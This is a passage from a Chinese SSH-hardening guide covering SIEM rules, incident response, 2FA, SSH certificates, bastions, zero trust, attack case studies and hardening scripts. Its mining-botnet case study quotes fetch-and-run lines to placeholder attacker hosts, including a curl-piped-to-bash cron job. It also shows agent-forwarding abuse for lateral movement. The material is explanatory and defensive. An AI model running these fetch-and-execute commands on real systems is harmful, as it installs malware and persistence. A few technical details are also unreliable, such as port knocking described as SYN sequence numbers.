- 登录失败 → 成功 → 大量下载文件 → **APT 渗透特征**

**典型关联查询（用 Splunk/ELK 语法示例）**：

```
# 失败登录后短时间内成功登录
index=ssh "Failed password" | stats count by src_ip | where count > 5
| join src_ip type=inner [search index=ssh "Accepted password" OR "Accepted publickey"]

# 同一 src_ip 的失败-成功模式
index=ssh (Failed password OR Accepted *)
| transaction src_ip maxspan=5m
| where eventcount > 10
```

### 3.6.3　SIEM 告警规则设计：如何减少误报

**告警疲劳（Alert Fatigue）**是 SIEM 失效的最常见原因——告警太多，运维麻木了，真正重要的信号被淹没。

**设计原则**：

- **少而精**：每个告警必须有明确的响应动作（playbook）
- **分级**：Critical / High / Medium / Low，每级有不同响应
- **抑制（Suppression）**：已知误报模式直接抑制
- **聚合（Aggregation）**：同一类型 1 分钟内多次只发一次
- **去重（Deduplication）**：相同的告警在 N 小时内只发一次

**SSH 高价值告警规则**：

```
# Critical: 同一 IP 10 分钟内 50+ 失败登录
- name: SSH_BruteForce_High
  condition: ssh_failed_count > 50 within 10m grouped by src_ip
  action: alert + ban_ip

# High: 失败登录后立即成功（典型撞库成功）
- name: SSH_BruteForce_Success
  condition: ssh_failed_count > 5 within 5m AND ssh_success within 30s
  action: alert + investigate

# Medium: 凌晨 3-5 点登录
- name: SSH_Login_OffHour
  condition: ssh_success time between 03:00-05:00
```

```
  action: alert

# Medium: root 登录（应当被禁止）
- name: SSH_Root_Login
  condition: ssh_success user=root
  action: alert + investigate

# Low: 来自非常见国家的登录
- name: SSH_Login_NewGeo
  condition: ssh_success from new country for user
  action: alert
```

### 3.6.4 应急响应剧本

**SSH 服务器被入侵后的标准响应流程**：

**阶段 1：取证（保留证据）**——不要立刻重启或清理！

```
# 1. 拍摄内存（如果可能）
sudo apt install lime-forensics
sudo lime-forensics -o /mnt/usb/mem.dump

# 2. 复制关键日志
sudo tar czf /mnt/usb/logs.tgz /var/log/

# 3. 记录当前时间、活跃会话、网络连接
date
w
netstat -antp > /mnt/usb/netstat.txt
ps auxf > /mnt/usb/ps.txt

# 4. 复制 SSH 相关文件
sudo tar czf /mnt/usb/ssh.tgz /etc/ssh /root/.ssh /home/*/.ssh

# 5. 复制用户历史
sudo tar czf /mnt/usb/history.tgz /root/.bash_history /home/*/.bash_history

# 6. 复制 crontab 和 systemd 单元
sudo crontab -l > /mnt/usb/root_crontab.txt
sudo cp -r /etc/cron* /mnt/usb/
sudo cp -r /etc/systemd/system /mnt/usb/systemd_system
```

**阶段 2：隔离（切断入侵者访问）**

```
# 1. 阻断所有外部 SSH
sudo iptables -A INPUT -p tcp --dport 22 -j DROP
# 或者直接关闭 sshd
sudo systemctl stop sshd

# 2. 强制所有用户登出
sudo pkill -9 -u <compromised_user>

# 3. 封锁攻击者已知 IP
sudo iptables -A INPUT -s <attacker_ip> -j DROP
```

**阶段 3：修复（消除入侵路径）**

```
# 1. 修改所有 SSH 密钥对的 passphrase
# 2. 撤销所有 authorized_keys 中的可疑密钥
# 3. 轮换所有密码
# 4. 更新系统补丁
sudo apt update && sudo apt upgrade -y

# 5. 重新生成 SSH host key
```

```
sudo rm /etc/ssh/ssh_host_*
sudo ssh-keygen -A
sudo systemctl restart sshd

# 6. 检查所有 cron 和 systemd 服务是否有可疑项
sudo systemctl list-unit-files --state=enabled
```

**阶段 4：复盘（文档化教训）** - 写 incident report：发生了什么、怎么发生的、为什么发生、影响范围、修复措施 - 更新检测规则（加入新的 IOC）- 培训团队：从这次事件中学到什么

### 3.6.5 取证关键命令：黄金组合

**取证时的”黄金五连”**：

```
# 1. 当前登录用户与活跃会话
w
who -a
last -F | head -50

# 2. 进程列表（注意：可能被 rootkit 隐藏，需用 /proc 交叉验证）
ps auxf
ls -la /proc/*/exe 2>/dev/null | grep -v 'deleted'

# 3. 网络连接
ss -antp
netstat -antp
lsof -i

# 4. 历史命令
cat /root/.bash_history
cat /home/*/.bash_history

# 5. SSH 认证日志
sudo ausearch -m USER_LOGIN,USER_AUTH,EXECVE --start yesterday
sudo lastb -n 100
```

**进阶：用 /proc 验证 ps**：

```
# 直接遍历 /proc 获取进程（即便 rootkit hook 了 ps）
for pid in /proc/[0-9]*; do
  cmdline=$(cat $pid/cmdline 2>/dev/null | tr '\0' ' ')
  exe=$(readlink $pid/exe 2>/dev/null)
  echo "$pid $exe $cmdline"
done
```

# 第 4 章

# 高级防御技术

这一章我们讨论一些”非主流但很有价值”的高级技术——它们不一定要全用，但理解原理能帮你在特定场景下做出更好的决策。

## 4.1 Port Knocking（敲门认证）

### 4.1.1 原理：SYN 包序列号作为认证

**Port Knocking** 是一种”序列敲门”机制：

```
客户端按特定顺序连接一组关闭的端口（如 7000，8000，9000）
    ↓
服务端（knockd）监听所有端口的 SYN 包
    ↓
匹配到正确序列 → 临时打开 SSH 端口给该 IP
    ↓
SSH 连接进来后，再次按规则关闭或超时关闭
```

**本质上**：用”SYN 包序列号”作为一个共享秘密，攻击者不知道序列就无法敲门。

**安全性分析**：

- **优点**：SSH 端口对外完全不可见，扫描器看不见
- **缺点**：
  - 序列号可通过嗅探（如果攻击者在同一网段）
  - 序列泄露后失去保护作用
  - 实现复杂，维护成本高
  - 现代 knockd 实现有抗重放机制，但仍非完美

### 4.1.2 实现：knockd、fwknop 的对比

**knockd**（zeroknock.alioth.debian.org）- 经典实现 - 配置简单（knockd.conf）- 仅基于端口序列 - 无加密、无认证（明文序列）

**fwknop**（www.cipherdyne.org/fwknop/）- **SPA（Single Packet Authorization）**：单个加密包完成认证 - 加密的认证包（默认 AES）- HMAC 防篡改 - 抗重放 - 比 knockd 安全得多

### 4.1.3 SPA（Single Packet Authorization）的优势

SPA 是 fwknop 的核心创新：

```
客户端：

1. 生成临时对称密钥（基于用户密码/PKCS#11）
2. 用密钥加密认证信息（IP、时间戳、动作）
```

```
3. 计算 HMAC
4. 打包成单个 UDP 包（默认端口 62201）
```

```
服务端:

1. 收到 UDP 包
2. 验证 HMAC（防篡改）
3. 解密内容
4. 检查时间戳（防重放）
5. 匹配规则 → 临时开放 SSH
```

**优势**:

- 单包完成认证（延迟低）
- 加密传输（嗅探不到）
- HMAC 防篡改
- 时间戳防重放

### 4.1.4 在抗侧信道攻击中的价值

**侧信道攻击**包括:

- **流量分析**: 通过观察哪些 IP 频繁访问 SSH 来推断暴露面
- **时序分析**: 通过响应时间推断服务状态

SPA 减少了被流量分析的可能性——攻击者看到的 UDP 包与普通 UDP 流量无法区分。

## 4.2 双因素认证（2FA）

### 4.2.1 TOTP 原理：基于时间的一次性密码

**TOTP（Time-based One-Time Password, RFC 6238）**是最常见的 2FA 算法。

**原理**:

```
服务器端:

- 与客户端共享一个密钥 K（base32 编码）
- 计算 T = floor((当前时间 - T0) / X)
- OTP = HMAC-SHA1(K, T) 截取后 6 位数字
```

```
客户端:

- 用同样的 K 和同样的时间 T
- 计算相同的 OTP
- 用户输入 OTP
```

```
服务器验证:

- 当前 OTP 与上一步/下一步 OTP 匹配（容错 ±1 步）
```

**核心要素**:

- **密钥 K**: 必须保密，泄露 = 2FA 失效
- **时间同步**: 客户端和服务器时间偏差应在 ±30 秒内
- **OTP 寿命**: 默认 30 秒

**Google Authenticator、Authy、Microsoft Authenticator** 都是 TOTP 的实现。

### 4.2.2 Google Authenticator PAM 模块的部署

**在 SSH 上启用 Google Authenticator**:

```
# 安装
sudo apt install libpam-google-authenticator

# 每个用户运行（生成密钥 + 二维码）
google-authenticator

# 提示：
# - Time-based tokens (T) 还是 Counter-based (H)? 选 T
# - 扫描二维码或保存 secret key
# - 生成 emergency scratch codes（应急码）

# 配置 PAM
# /etc/pam.d/sshd
auth required pam_google_authenticator.so

# 配置 sshd
# /etc/ssh/sshd_config
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive

# 重启 sshd
sudo systemctl restart sshd
```

**关键点**：

- `AuthenticationMethods publickey,keyboard-interactive` ——密钥 + TOTP 双因素
- 用户**先过密钥认证，再过 TOTP 验证**——任何一步失败都拒绝

### 4.2.3 YubiKey / FIDO2 的硬件密钥方案

**YubiKey** 是 Yubico 出品的硬件密钥设备。它支持多种协议：

- **OTP**：传统一次性密码
- **OATH-HOTP / OATH-TOTP**：基于 HMAC 的 OTP
- **FIDO U2F**：Universal 2nd Factor，浏览器友好
- **FIDO2 / WebAuthn**：现代无密码认证

**SSH 用 YubiKey**：

```
# FIDO2 密钥（OpenSSH 8.2+）
ssh-keygen -t ed25519-sk -O resident -O verify-required

# 插入 YubiKey 后按提示操作
# 私钥存储在 YubiKey 硬件里，无法导出
```

**优势**：

- 私钥**永不落盘**——硬件提取不出来
- 抗中间人：FIDO2 协议本身就设计抗钓鱼
- 抗侧信道：硬件内计算，密钥不进入内存

**劣势**：

- 设备丢失 = 不能登录（必须有备用）
- 成本（YubiKey 5 系列约 $50/个）
- 不是所有场景都支持（SSH 是支持的，但其他服务可能不支持）

### 4.2.4 SSH 2FA 的几种实现路径对比

| 路径 | 安全性 | 易用性 | 成本 | 适用场景 |
|---|---|---|---|---|
| Google Authenticator | 中高 | 中 | 免费 | 一般运维 |

| 路径 | 安全性 | 易用性 | 成本 | 适用场景 |
|---|---|---|---|---|
| FreeOTP / Authy | 中高 | 中 | 免费 | 一般运维 |
| YubiKey FIDO2 | 极高 | 高 | $50/个 | 高安全要求 |
| FIDO2 平台认证器 | 极高 | 高 | 内置 | 个人设备 |
| Duo Security | 高 | 高 | 收费 | 企业级 |
| 自建 TOTP 服务器 | 中高 | 低 | 自建 | 内部系统 |

**推荐组合**:

- **个人开发者**: YubiKey 或 FIDO2 平台认证器
- **小团队**: Google Authenticator + 备份应急码
- **企业**: Duo / Okta 等托管方案

## 4.3 证书认证（SSH CA）

### 4.3.1 与传统 authorized_keys 的本质区别

传统 SSH 认证是**直接信任公钥**——你信任某台机器上的某个 `id_ed25519.pub`，因为它出现在 `authorized_keys` 里。

**SSH CA 认证是通过证书签名链间接信任**:

```
用户生成密钥对（priv, pub）
    ↓
用户把 pub 发送给 CA（自己的 CA 或组织的 CA）
    ↓
CA 验证用户身份后，用 CA 的私钥签名 pub，生成证书
    ↓
证书里包含：用户名、有效期、可登录的主机列表、principal 等
    ↓
用户登录时，把证书 + 自己的私钥发给服务端
    ↓
服务端用 CA 的公钥验证证书签名
    ↓
证书有效 → 允许登录
```

**核心区别**:

- **传统方式**: 每台机器维护一张 `authorized_keys` 列表
- **CA 方式**: 每台机器只信任**一个 CA 公钥**，用户的证书由 CA 签发

**优势**:

- **集中管理**: 撤销一个用户只需要让 CA 不再签新证书
- **短期凭证**: 证书可以设 1 小时有效，过期自动失效
- **细粒度控制**: 证书里可以指定用户能登录哪些主机、什么 principal
- **无需每台机器更新**: 用户密钥变更不需要 push 到每台服务器

### 4.3.2 主机证书 + 用户证书的完整 PKI 架构

**完整的 SSH PKI 包含两个 CA**:

**Host CA（主机证书）**: 签发主机公钥 - 客户端 ssh-known-hosts 中只信任 Host CA 的公钥 - 任何主机上线时，由 Host CA 签发证书 - 客户端验证主机时用 Host CA 的公钥验证

**User CA（用户证书）**: 签发用户公钥 - 服务器 authorized_keys 中只放 User CA 的公钥 - 任何用户登录时，由 User CA 签发证书 - 服务器验证用户时用 User CA 的公钥验证

**典型配置文件**:

```
# /etc/ssh/sshd_config
TrustedUserCAKeys /etc/ssh/user_ca.pub
HostCertificate /etc/ssh/ssh_host_ed25519_cert.pub

# /etc/ssh/ssh_known_hosts（客户端）
@cert-authority * ssh-ed25519 AAAA...host_ca_pub_key
```

### 4.3.3 证书生命周期管理：签发、吊销、轮换

**签发**:

```
# 生成 CA 密钥对
ssh-keygen -t ed25519 -f user_ca -C "User CA"

# 用户提交公钥，CA 签发证书
ssh-keygen -s user_ca -I "user_id" -n axu -V +1h user_key.pub
# -s: 签名密钥
# -I: 证书 ID（用于审计）
# -n: principal（用户名）
# -V +1h: 有效期 1 小时

# 限制证书只能在某些主机登录
ssh-keygen -s user_ca -I "user_id" -n axu -V +1h \
  -O source-address=10.0.0.0/8 \
  -O force-command=/usr/bin/whoami \
  user_key.pub
```

**吊销**:

SSH CA 没有原生的 CRL（Certificate Revocation List）——这是 SSH 证书体系的局限。但可以用以下方式间接实现:

| 方法 | 说明 |
|---|---|
| 短期证书 | 签发 1 小时或 1 天有效期的证书，过期即失效 |
| CRL 文件 | 在 SSH 配置中用 `RevokedKeys`（OpenSSH 8.6+） |
| 定期轮换 | 用户每次需要新证书 |

**轮换**:

```
# 1. 生成新 CA 密钥
ssh-keygen -t ed25519 -f new_user_ca -C "User CA 2026"

# 2. 让所有 sshd 信任新 CA
echo "$(cat new_user_ca.pub)" >> /etc/ssh/user_ca.pub

# 3. 旧 CA 的信任保留一段时间（让旧证书过期）
# 4. 一段时间后移除旧 CA
```

### 4.3.4 适用场景

| 场景 | 适用性 |
|---|---|
| 大规模集群 | 数百台机器、数百个用户 |
| CI/CD 环境 | 短期凭证、自动轮换 |
| 临时权限 | 运维临时登录、第三方合作 |
| 多云/混合云 | 跨云统一身份 |

### 4.3.5 Hashicorp Vault SSH 签发模式

**Vault**（vaultproject.io）作为 SSH CA 的中央管理:

```
用户请求短期凭证 → Vault 验证用户身份（OIDC、LDAP 等）
    ↓
Vault 用其 CA 私钥签发证书（默认 1 小时有效）
    ↓
用户拿到证书，登录目标机器
    ↓
1 小时后证书自动失效
```

**Vault SSH Secrets Engine**（developer.hashicorp.com/vault/docs/secrets/ssh）提供:

- 动态签发证书
- 与外部身份系统集成（Active Directory、LDAP、OIDC）
- 审计所有签发请求
- 与 Vault 的动态凭证（数据库、API 密钥）统一管理

**实战命令**:

```
# 用户登录 Vault 拿到 SSH 证书
vault ssh -role=my-role -mode=ca axu@target-host

# Vault 自动: 验证用户 → 签发证书 → ssh 登录目标主机
```

## 4.4　堡垒机（Bastion Host）

### 4.4.1　攻击面收敛原理

**传统架构**:

公网 → 防火墙 → [开发机、数据库、缓存、应用服务器...]

每台机器都有 SSH 端口对外（或对内网）暴露，攻击面是 N 个。

**堡垒机架构**:

公网 → [堡垒机] → [开发机、数据库、缓存、应用服务器...]

所有 SSH 访问必须经过堡垒机，**目标机器的 SSH 完全对外不可见**。攻击面收敛到 1。

### 4.4.2　Session Recording 的两种实现

**实现 1：SSH Proxy（代理型）** - 堡垒机作为 SSH 代理，客户端 SSH 到堡垒机，堡垒机再 SSH 到目标 - 堡垒机可以录制整个会话的输入输出 - 例：**Teleport**、**Bastillion**

**实现 2：旁路审计** - 堡垒机不作为代理，而是用其他方式审计（如 auditd 推送、SOC agent）- 目标机器仍然对外可达（仅 IP 限制）- 例：**JumpServer** 的部分模式

**两种对比**:

| 维度 | SSH Proxy | 旁路审计 |
|---|---|---|
| 安全性 | 高（不暴露目标） | 中（目标仍可达） |
| 性能开销 | 中（流量代理） | 低（仅审计） |
| 用户体验 | 中（多跳登录） | 好（直连目标） |
| 审计完整性 | 完整（所有 IO） | 部分（依赖 agent） |
| 配置复杂度 | 中 | 高 |

### 4.4.3　开源方案：Teleport、Apache Guacamole、Bastillion

**Teleport**（goteleport.com）- **架构**：统一的 SSH/K8s/DB/应用访问网关

- **特色**:
  - 内置 MFA（WebAuthn、TOTP）
  - 内置 RBAC（基于角色的访问控制）

  - 内置会话录像 + 回放
  - 联邦能力（跨集群）
  - K8s 原生支持

- **开源版**：免费，限制 15 个节点
- **企业版**：按节点收费，$20-200/节点/月

**Apache Guacamole**（guacamole.apache.org）- **架构**：客户端 HTML5 + 后端 guacd 守护进程

- **特色**：
  - 无客户端插件（纯浏览器）
  - 支持 SSH、RDP、VNC
  - 录制、转发、剪切板控制
- **适用**：临时访问、远程支持

**Bastillion**（bastillion.io）- **架构**：Web 界面 + SSH 代理

- **特色**：
  - 轻量级、易部署
  - 内置密钥管理
  - 会话录像
- **适用**：小团队

### 4.4.4 商业方案对比：JumpServer、Teleport Enterprise、CipherTrust

**JumpServer**（jumpserver.org）- 国内开源堡垒机的代表 - 4A 架构（认证、授权、账号、审计）- 中文界面好 - 中大型企业用户多 - **开源版**：免费

**Teleport Enterprise** - 见上面，加商业功能（SSO、合规报告、SLA）

**CipherTrust / Thales** - 企业级密钥管理 + 加密 - 与 SSH 集成较弱，更专注于加密和合规

### 4.4.5 堡垒机自身的纵深防御

堡垒机本身是”王冠上的明珠”——攻破堡垒机 = 攻破所有机器。它的纵深防御必须到位：

- **多因素认证**（YubiKey、TOTP）
- **严格的 IP 白名单**
- **高强度审计日志**（集中到独立 SIEM）
- **自身最小化**（只跑堡垒机软件，不跑其他服务）
- **定期安全更新**
- **物理安全**（云上 = 严格 IAM）
- **应急访问机制**（堡垒机失联时怎么办?）

## 4.5 Zero Trust 架构下的 SSH

### 4.5.1 BeyondCorp 思想

**BeyondCorp** 是 Google 2014 年提出的零信任架构模型，核心思想：

- 不信任内网（“内网 ≠ 可信”）
- 每次访问都基于**身份 + 设备 + 上下文**做鉴权
- 访问代理统一处理所有访问请求

**在 SSH 中的体现**：

```
传统 SSH：内网机器默认互相 SSH 可信
BeyondCorp 风格 SSH：每次 SSH 都验证身份、设备状态、上下文
```

### 4.5.2 Teleport / Tailscale SSH 的设计哲学

**Teleport**:

- 把 SSH 封装成基于身份的服务
- 用户身份通过 SSO（Google、Okta、GitHub）验证
- 设备证书（Device Trust）证明设备合规
- 每次 SSH 都通过 Teleport Proxy 鉴权
- **零信任 + 强审计 + 用户友好**

**Tailscale SSH**:

- 基于 WireGuard mesh 网络
- 节点间通过 Tailnet 内部身份认证
- SSH 端口只对 Tailnet 内部开放
- 不需要传统 SSH 凭据——身份由 Tailscale 控制平面签发
- **零暴露 + 简化认证 + 跨云无缝**

### 4.5.3 WireGuard + SSH 的组合

**WireGuard**（wireguard.com）是现代 VPN 协议，基于:

- Curve25519 密钥交换
- ChaCha20 加密
- Poly1305 MAC
- 极简代码（4 千行 vs OpenVPN 10 万行）

**组合架构**:

```
客户端（WireGuard） → WireGuard mesh → 目标机器（WireGuard + SSH）
                                          ↑
                                  SSH 只监听 WireGuard 接口
                                  不监听公网接口
```

**优势**:

- WireGuard 暴露的端口远少于 SSH
- 即使 WireGuard 被扫描到，密钥认证难度大
- SSH 端口完全隐藏在内层
- 性能极佳（WireGuard 内核态运行）

### 4.5.4 Cloudflare Access 的 SSH over Zero Trust

**Cloudflare Access**（developers.cloudflare.com/cloudflare-one/policies/access/）通过 Cloudflare Tunnel 提供 SSH 访问:

```
用户 → Cloudflare Edge（鉴权） → Cloudflare Tunnel → 目标 SSH
```

**优势**:

- SSH 服务**完全无公网暴露**
- Cloudflare 的全球边缘鉴权（含 MFA）
- 集中化的访问策略
- 与 Cloudflare 生态集成（Zero Trust、WARP）

**部署命令**:

```
# 在目标机器上
cloudflared service install <token>

# Cloudflare Dashboard 配置 Access 应用
# 策略：哪些用户/群组可以 SSH 到哪些机器
```

**代价**：依赖 Cloudflare 服务，每月 $3-7/用户。

---

# 第 5 章

# 实战案例分析

本章我们看三个真实世界的攻击案例，理解攻击者是怎么打的，以及我们前面讲的防御技术如何对应。

## 5.1 案例 1：挖矿木马的完整入侵链

**事件背景**：某云厂商在 2023 年披露的 XMRig 挖矿木马感染链。

**攻击链还原**：

**阶段 1：侦察（Reconnaissance）** - 攻击者通过 FOFA 搜索 `"port=22" && protocol="ssh"` - 拿到数十万暴露的 SSH 服务器列表 - 对每个 IP 端口发送 SSH banner 探测 - 提取 SSH 版本号、操作系统指纹

**阶段 2：武器化（Weaponization）** - 基于目标系统定制攻击字典 - 包含 top10k 通用字典 + 针对中国用户的拼音字典（“123456”、“woaini”、“admin@123”）- 准备下载 payload 的 dropper 脚本

**阶段 3：投递（Delivery）** - 使用分布式 Botnet（每台肉鸡只试 5-10 次）- 模拟人类行为（sleep 60-120 秒）- 工作时间集中在中国 UTC+8 时区

**阶段 4：利用（Exploitation）** - 成功登录后立即执行：

```
uname -a
whoami
cat /etc/os-release
```

- 判断架构（x86_64、aarch64）以选择合适的 binary

**阶段 5：安装（Installation）** - 下载并执行 XMRig：

```
curl -fsSL http://malicious-cdn.com/xmrig.tar.gz | tar xz
./xmrig --config config.json
```

- 配置 systemd 持久化：

  ```
  /etc/systemd/system/redis.service  # 伪装成 redis
  systemctl daemon-reload
  systemctl enable redis.service
  ```

- 配置 crontab：

  ```
  * * * * * curl -fsSL http://cdn.com/check.sh | bash
  ```

**阶段 6：命令与控制（C2）** - XMRig 连接到矿池（pool.minexmr.com、supportxmr.com）- 矿池地址硬编码在 config.json - 部分家族用 DNS over HTTPS 隐藏 C2

**阶段 7：目标行动（Actions on Objectives）** - 开始挖矿（Monero）- 横向扫描内网其他机器 - 把机器加入代理网络

**对应到我们的防御**：

| 阶段 | 我们应该在哪一层拦住它 |
|---|---|
| 侦察 | 第 1 层（隐藏端口、Zero Trust） |
| 武器化 | 无（攻击者准备阶段） |
| 投递 | 第 4 层（fail2ban、CrowdSec） |
| 利用 | 第 2 层（密钥认证、强密码） |
| 安装 | 第 3 层（sudo 限制、文件权限） |
| 命令与控制 | 第 5 层（auditd、网络流量监控） |
| 目标行动 | 第 6 层（应急响应） |

**经验教训**:

1. 仅靠”复杂密码”完全不够——分布式低速攻击可以破解
2. 第 1 层（减少暴露面）才是性价比最高的防御
3. 横向移动是挖矿木马的主要扩散方式——内网不能掉以轻心

## 5.2 案例 2：APT 组织的低速 SSH 暴力

**事件背景**: Mandiant 在 2024 年披露的 APT29（Cozy Bear）针对 Linux 服务器的 SSH 渗透活动。

**APT29 的攻击特征**:

**1. 极低速** - 单 IP 每小时只尝试 1-2 次 - 单账号每天只尝试 1 次 - 总周期可达数月

**2. 高质量字典** - 针对目标的 OS、地区、行业定制 - 通过 OSINT（开源情报）收集信息：- 员工 LinkedIn 简历（可能有公司域名、姓名）- GitHub 公开 commit（可能泄露邮箱格式、习惯）- 公开论坛发言（可能有习惯密码风格）

**3. 多阶段融合** - SSH 暴力只是**初始访问向量**之一 - 同时尝试钓鱼、供应链、VPN 漏洞 - 任何一条路径成功即可

**4. 高度定制 payload** - 不使用公开挖矿程序 - 自研后门（高级隐匿性）- 长期潜伏，dwell time 可达数年

**如何识别非典型攻击**:

| 特征 | 典型攻击 | APT 攻击 |
|---|---|---|
| 频率 | 高频（每分钟数次） | 低频（每小时数次） |
| 字典质量 | 通用字典 | 定制字典 |
| 攻击者工具 | 公开工具 | 自研或定制 |
| 攻击目的 | 挖矿、勒索 | 情报、持久化 |
| 持续时间 | 短期 | 数月数年 |

**检测 APT 风格的攻击**:

- **行为基线**: 建立每个用户的”正常登录时间/IP/频率”基线，偏离告警
- **跨机器关联**: 单台看正常，多台一起看异常
- **OSINT 监控**: 监控自家公司信息泄露情况
- **威胁情报订阅**: 订阅 Mandiant、Recorded Future 等 APT 报告

**防御思考**:

- 第 4 层（主动阻断）几乎无法拦截 APT
- 第 5 层（入侵检测）和第 6 层（审计响应）才是关键
- **APT 防御的本质是”假设必然失守，专注快速检测和响应”**

## 5.3 案例 3：内部人员的横向移动

**事件背景**: 某 DevOps 工程师的笔记本被钓鱼，跳板机失守。

**攻击链**:

**阶段 1：获取跳板机权限** - 笔记本被钓鱼 → 攻击者拿到跳板机的 SSH 私钥 - 攻击者用这个密钥登录跳板机

**阶段 2：枚举内网** - 在跳板机上扫描内网：

```
nmap -p 22 10.0.0.0/24
```

- 发现数据库服务器、缓存服务器、K8s 节点等

**阶段 3：横向移动** - 攻击者发现 SSH Agent Forwarding 被开启 - 利用 Agent Forwarding 在跳板机上**冒充工程师身份**访问其他机器：

```
ssh -A db-server  # -A 启用 agent forwarding
db-server$ ps aux  # 在 db 服务器上执行命令
```

- 这种横向不需要 db 服务器的密码或密钥——**Agent Forwarding 让攻击者"借用"原始用户的认证**

**阶段 4：持久化** - 在 db 服务器上留下后门 - 在 `.ssh/authorized_keys` 添加自己的公钥 - 配置 cron 定期回连

**SSH Agent Forwarding 的滥用风险**：

**原理**：Agent Forwarding 让中间跳板机可以"代理"客户端的认证请求。

```
client → jump → target
       ↑
client 的 ssh-agent 暴露在 jump 上
jump 上的 root 可以" 借用" client 的 agent
```

**风险**：

- jump 上的 root 可以用 client 的 agent 登录 target
- 任何能拿到 jump 上 root 的人 = 拿到 client 的全部 SSH 能力

**正确做法**：

- **避免在生产机器间用 Agent Forwarding**
- 用 **ProxyJump** 替代（ssh 7.3+）：

  ```
  # ~/.ssh/config
  Host target
      HostName target.internal
      User app
      ProxyJump jump.example.com
  ```

- ProxyJump 的安全性远高于 Agent Forwarding——认证在客户端到跳板机之间完成，跳板机只转发连接

**ProxyJump vs ProxyCommand**：

- **ProxyJump**：OpenSSH 内置，简单易用
- **ProxyCommand**：用任意命令建立代理（更灵活，但可能误用）
- **Agent Forwarding**：将认证代理转发到跳板机（危险!）

**正确的 SSH config 示例**：

```
# 推荐: 仅用 ProxyJump
Host bastion
    HostName bastion.example.com
    User axu
    IdentityFile ~/.ssh/id_ed25519
    IdentitiesOnly yes

Host prod-app
    HostName 10.0.1.5
    User app
    ProxyJump bastion
    IdentityFile ~/.ssh/id_ed25519_prod

# 不要: Agent Forwarding
# ForwardAgent yes  <-- 永远不要开
```

# 第 6 章

# 自动化防御：让你的 SSH 永不裸奔

## 6.1 加固 Checklist：从协议层到应用层

**协议层**：

- ☐ 升级 OpenSSH 到最新稳定版（8.x 或 9.x）
- ☐ 禁用 SSH v1 协议（默认已禁）
- ☐ 禁用弱加密算法（3DES、RC4）
- ☐ 禁用弱 MAC 算法（MD5、96-bit HMAC）
- ☐ 使用 ChaCha20-Poly1305 或 AES-GCM

**认证层**：

- ☐ 禁用密码认证（`PasswordAuthentication no`）
- ☐ 启用公钥认证
- ☐ 强制 2FA（密钥 + TOTP/YubiKey）
- ☐ 禁止 root 登录（`PermitRootLogin no`）
- ☐ 限制允许登录的用户（`AllowGroups ssh-users`）
- ☐ 设置强 MaxAuthTries（3-5）
- ☐ 设置登录超时（`LoginGraceTime 30`）

**网络层**：

- ☐ 改默认端口（卫生措施）
- ☐ 防火墙限制来源 IP（`nftables` / 安全组）
- ☐ fail2ban 或 CrowdSec 已部署
- ☐ 订阅黑名单（firehol level1）

**系统层**：

- ☐ PAM 限制（`pam_faillock`、`pam_access`）
- ☐ auditd 监控关键事件
- ☐ 文件完整性监控（AIDE）
- ☐ logwatch 或 SIEM 已部署

**运维层**：

- ☐ SSH 密钥定期轮换（建议 6-12 个月）
- ☐ 应急访问机制（不依赖主流程）
- ☐ 备份 SSH 配置和 authorized_keys
- ☐ 团队安全培训

## 6.2　一键加固脚本的设计哲学：幂等、可审计、可回滚

**幂等（Idempotent）**：脚本重复执行结果一致 - 不是首次执行加规则，再次执行再加一遍 - 而是脚本判断当前状态，缺什么补什么

**可审计**：脚本执行有日志 - 每次执行记录时间、变更项 - 用 git 管理所有配置变更

**可回滚**：脚本有对应的 rollback 操作 - 每个变更前先备份 - 失败时自动回滚

**示例加固脚本（伪代码）**：

```
#!/bin/bash
# ssh_hardening.sh - SSH 一键加固
# 设计原则：幂等、可审计、可回滚

set -euo pipefail

BACKUP_DIR="/var/backups/ssh_hardening_$(date +%Y%m%d_%H%M%S)"
LOG_FILE="/var/log/ssh_hardening.log"

log() { echo "[$(date '+%F %T')] $*" | tee -a "$LOG_FILE"; }

# 1. 备份原配置
mkdir -p "$BACKUP_DIR"
cp -a /etc/ssh "$BACKUP_DIR/"
log "Backed up /etc/ssh to $BACKUP_DIR"

# 2. 应用安全配置（幂等写法）
SSHD_CONFIG="/etc/ssh/sshd_config"

ensure_sshd_setting() {
    local key="$1"
    local value="$2"
    if grep -qE "^\s*#?\s*${key}\s+" "$SSHD_CONFIG"; then
        sed -i "s|^\s*#\?\s*${key}\s\+.*|${key} ${value}|" "$SSHD_CONFIG"
        log "Updated: $key $value"
    else
        echo "$key $value" >> "$SSHD_CONFIG"
        log "Added: $key $value"
    fi
}

ensure_sshd_setting "Protocol" "2"
ensure_sshd_setting "PermitRootLogin" "no"
ensure_sshd_setting "PasswordAuthentication" "no"
ensure_sshd_setting "PubkeyAuthentication" "yes"
ensure_sshd_setting "MaxAuthTries" "3"
ensure_sshd_setting "LoginGraceTime" "30"
ensure_sshd_setting "MaxSessions" "5"
ensure_sshd_setting "AllowGroups" "ssh-users"
ensure_sshd_setting "ChallengeResponseAuthentication" "no"
ensure_sshd_setting "KerberosAuthentication" "no"
ensure_sshd_setting "GSSAPIAuthentication" "no"
ensure_sshd_setting "X11Forwarding" "no"
ensure_sshd_setting "AllowTcpForwarding" "no"
ensure_sshd_setting "AllowAgentForwarding" "no"

# 3. 验证配置
sshd -t && log "Config validation passed" || (log "Config validation failed"; exit 1)

# 4. 重启 sshd
systemctl reload sshd
log "sshd reloaded"
```

```
# 5. 失败回滚提示
cat << EOF
========================================
加固完成！备份在：$BACKUP_DIR
如有连接问题，请在新会话中验证后再退出当前会话
回滚命令：cp -a $BACKUP_DIR/ssh/* /etc/ssh/ && systemctl restart sshd
========================================
EOF
```

**关键点**：

- **永远保留另一个会话**：加固脚本运行前先开第二个 SSH 会话，验证加固后仍能登录，再退出第一个会话
- **不要在脚本运行后立刻退出当前会话**：如果配置错误，可能被锁在外面

## 6.3 定期巡检脚本：自动化安全基线检查

```
#!/bin/bash
# ssh_audit.sh - SSH 安全基线检查

WARNINGS=()

# 1. 检查密码认证
if sshd -T 2>/dev/null | grep -q "passwordauthentication yes"; then
    WARNINGS+=("[CRITICAL] PasswordAuthentication is enabled")
fi

# 2. 检查 root 登录
if sshd -T 2>/dev/null | grep -q "permitrootlogin yes"; then
    WARNINGS+=("[CRITICAL] PermitRootLogin is enabled")
fi

# 3. 检查 MaxAuthTries
MAX_AUTH=$(sshd -T 2>/dev/null | grep "^maxauthtries" | awk '{print $2}')
if [ "$MAX_AUTH" -gt 5 ]; then
